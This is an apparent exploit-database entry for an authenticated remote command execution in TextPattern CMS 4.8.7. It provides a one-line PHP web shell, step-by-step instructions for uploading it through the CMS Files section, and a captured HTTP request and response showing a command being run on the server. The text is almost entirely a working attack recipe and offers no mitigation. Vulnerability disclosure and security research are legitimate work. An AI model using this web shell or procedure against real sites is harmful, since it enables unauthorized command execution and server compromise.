TextPattern CMS 4.8.7 Remote Command Execution

`# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated)  
# Date : 2021/09/06  
# Exploit Author : Mert Daş [email protected]  
# Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip  
# Software web : https://textpattern.com/  
# Tested on: Server : Xampp  
  
First of all we should use file upload section to upload our shell.  
Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>  
  
1) Go to content section .  
2) Click Files and upload malicious php file.  
3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;  
  
After upload our file , our request and respons is like below :  
  
Request:  
  
GET /textpattern/files/cmd.php?cmd=whoami HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)  
Gecko/20100101 Firefox/89.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: txp_login_public=18e9bf4a21admin; language=en-gb; currency=GBP;  
PHPSESSID=cctbu6sj8571j2t6vp7g8ab7gi  
Upgrade-Insecure-Requests: 1  
  
  
Response:  
  
HTTP/1.1 200 OK  
Date: Thu, 10 Jun 2021 00:32:41 GMT  
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.20  
X-Powered-By: PHP/7.4.20  
Content-Length: 22  
Connection: close  
Content-Type: text/html; charset=UTF-8  
  
pc\mertdas  
  
`